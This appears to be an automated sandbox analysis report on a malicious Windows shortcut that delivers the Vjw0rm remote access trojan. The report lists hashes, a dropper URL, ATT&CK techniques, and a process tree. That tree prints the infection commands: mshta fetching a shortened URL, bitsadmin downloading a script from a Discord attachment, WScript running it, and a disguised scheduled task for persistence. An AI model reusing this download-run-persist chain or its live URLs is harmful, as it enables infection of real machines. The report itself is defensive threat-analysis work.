Analysis

  • max time kernel
    1789s
  • max time network
    1799s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    02-08-2021 20:16

General

  • Target

    Codes.txt.lnk

  • Size

    1KB

  • MD5

    537399896538f5897c325a350603a567

  • SHA1

    0a2ff41a38f91f79dde2a579138396bc5e5a7378

  • SHA256

    91b660e99b14d4d790953f9db3ba34d046d494624b53f53ef646fab40c64ace2

  • SHA512

    fb61b629d1ba6c38164bf21a637a28dc741fe29df47ae81af0e448273b30a60504085f94ee3d31e981ca9d23ba7517a13ac4a8a4e805a13999d67bd29daec030

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://bit.ly/3j6OXnh

Signatures

  • Vjw0rm

    Vjw0rm is a remote access trojan written in JavaScript.

  • Blocklisted process makes network request 5 IoCs
  • Drops startup file 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Codes.txt.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3560
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" "https://bit.ly/3j6OXnh"
      2⤵
      • Blocklisted process makes network request
      • Modifies registry class
      • Suspicious use of WriteProcessMemory
      PID:1656
      • C:\Windows\System32\bitsadmin.exe
        "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://cdn.discordapp.com/attachments/870779144429006911/870824147524157480/c1.js C:\Users\Admin\AppData\Local\Temp\c1.js
        3⤵
        • Download via BitsAdmin
        PID:3996
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c1.js"
        3⤵
        • Blocklisted process makes network request
        • Drops startup file
        • Adds Run key to start application
        • Suspicious use of WriteProcessMemory
        PID:2336
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /sc minute /mo 30 /tn Skype /tr "C:\Users\Admin\AppData\Roaming\c1.js
          4⤵
          • Creates scheduled task(s)
          PID:212

Network

MITRE ATT&CK Matrix ATT&CK v6

Execution

Scheduled Task

1
T1053

Persistence

Registry Run Keys / Startup Folder

1
T1060

Scheduled Task

1
T1053

BITS Jobs

1
T1197

Privilege Escalation

Scheduled Task

1
T1053

Defense Evasion

Modify Registry

1
T1112

BITS Jobs

1
T1197

Discovery

System Information Discovery

1
T1082

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Downloads

  • memory/212-118-0x0000000000000000-mapping.dmp
  • memory/1656-114-0x0000000000000000-mapping.dmp
  • memory/2336-117-0x0000000000000000-mapping.dmp
  • memory/3996-116-0x0000000000000000-mapping.dmp